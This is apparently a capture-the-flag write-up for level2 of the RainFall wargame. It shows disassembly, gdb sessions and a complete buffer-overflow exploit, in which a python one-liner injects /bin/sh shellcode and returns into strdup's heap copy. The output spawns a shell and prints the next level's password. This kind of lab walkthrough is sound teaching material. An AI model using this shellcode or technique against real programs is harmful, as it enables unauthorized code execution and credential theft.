Code has 1 function that's interesting : p. ``` 0x080484d4
: push ebp 0x080484d5
: mov ebp,esp 0x080484d7
: sub esp,0x68 0x080484da
: mov eax,ds:0x8049860 0x080484df
: mov DWORD PTR [esp],eax 0x080484e2
: call 0x80483b0 : lea eax,[ebp-0x4c]
0x080484ea : mov DWORD PTR [esp],eax
0x080484ed : call 0x80483c0 : mov eax,DWORD PTR [ebp+0x4]
0x080484f5 : mov DWORD PTR [ebp-0xc],eax
0x080484f8 : mov eax,DWORD PTR [ebp-0xc]
0x080484fb : and eax,0xb0000000
0x08048500 : cmp eax,0xb0000000
0x08048505 : jne 0x8048527
0x08048507 : mov eax,0x8048620
0x0804850c : mov edx,DWORD PTR [ebp-0xc]
0x0804850f : mov DWORD PTR [esp+0x4],edx
0x08048513 : mov DWORD PTR [esp],eax
0x08048516 : call 0x80483a0 : mov DWORD PTR [esp],0x1
0x08048522 : call 0x80483d0 <_exit@plt>
0x08048527 : lea eax,[ebp-0x4c]
0x0804852a : mov DWORD PTR [esp],eax
0x0804852d : call 0x80483f0 : lea eax,[ebp-0x4c]
0x08048535 : mov DWORD PTR [esp],eax
0x08048538 : call 0x80483e0 : leave
0x0804853e : ret
```
*Fig 1. Disassembly of p function*
We notice there's a get to exploit, however, we have no idea where we could
return as there is no shell opened anywhere in the program.
We have to use a shellcode for this, which is a asm code that opens a shell.
We are going to put in in our input string, and jump onto the start of it.
First step is to find the return address' of p in the stack.
```
(gdb) b *p+0
Breakpoint 2 at 0x80484d4
(gdb) run
Starting program: /home/user/level2/level2
Breakpoint 2, 0x080484d4 in p ()
(gdb) p $esp
$1 = (void *) 0xbffff72c
```
Then we'll need to figure out the size of our gets stack, we can count
```
0x080484d4 : push ebp // esp -= 4
0x080484d5 : mov ebp,esp // ebp = esp
0x080484d7 : sub esp,0x68 // allocate 104 bytes
0x080484da : mov eax,ds:0x8049860
0x080484df : mov DWORD PTR [esp],eax
0x080484e2 : call 0x80483b0 : lea eax,[ebp-0x4c] // read to top 76 bytes
0x080484ea : mov DWORD PTR [esp],eax
0x080484ed : call 0x80483c0 : mov eax,DWORD PTR [ebp+0x4] // eax = ebp[4]
^ This line puts the return address's value of p function into eax register
0x080484f5 : mov DWORD PTR [ebp-0xc],eax // ebp[-12] = eax
0x080484f8 : mov eax,DWORD PTR [ebp-0xc] // eax = ebp[-12]
0x080484fb : and eax,0xb0000000
0x08048500 : cmp eax,0xb0000000
0x08048505 : jne 0x8048527
0x08048507 : mov eax,0x8048620
0x0804850c : mov edx,DWORD PTR [ebp-0xc]
0x0804850f : mov DWORD PTR [esp+0x4],edx
0x08048513 : mov DWORD PTR [esp],eax
0x08048516 : call 0x80483a0 : mov DWORD PTR [esp],0x1
0x08048522 : call 0x80483d0 <_exit@plt>
```
So we cannot ever return on our string. At the end of the function tho, strdup
is called on our string
```
25 0x08048527 : lea eax,[ebp-0x4c]
26 0x0804852a : mov DWORD PTR [esp],eax
27 0x0804852d : call 0x80483f0 : lea eax,[ebp-0x4c] // same as gets argument
29 0x08048535 : mov DWORD PTR [esp],eax
30 0x08048538 : call 0x80483e0 : leave
```
So we can check the return address of strdup.
```
(gdb) b *p+105
Breakpoint 1 at 0x804853d
(gdb) run < shellcode_bf
Starting program: /home/user/level2/level2 < shellcode_bf
(0xbffff724)
[Inferior 1 (process 5098) exited with code 01]
(gdb) run < exploit3.txt
Starting program: /home/user/level2/level2 < exploit3.txt
�����������������1��F1�1�̀�[1��C��C
�
��S
�����/bin/sh��������������
Breakpoint 1, 0x0804853d in p ()
(gdb) i r
eax 0x804a008 134520840
ecx 0x0 0
edx 0xbffff6dc -1073744164
ebx 0xb7fd0ff4 -1208152076
esp 0xbffff6c0 0xbffff6c0
ebp 0xbffff728 0xbffff728
esi 0x0 0
edi 0x0 0
eip 0x804853d 0x804853d
eflags 0x200282 [ SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
```
We see eax is 0x804a008, let's replace our command with this address.
```(python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2```
```
level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2
1��F1�1�̀�[1��C��C
�
��S
�����/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
whoami
level3
cat /home/user/level3/.pass
492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
```
:)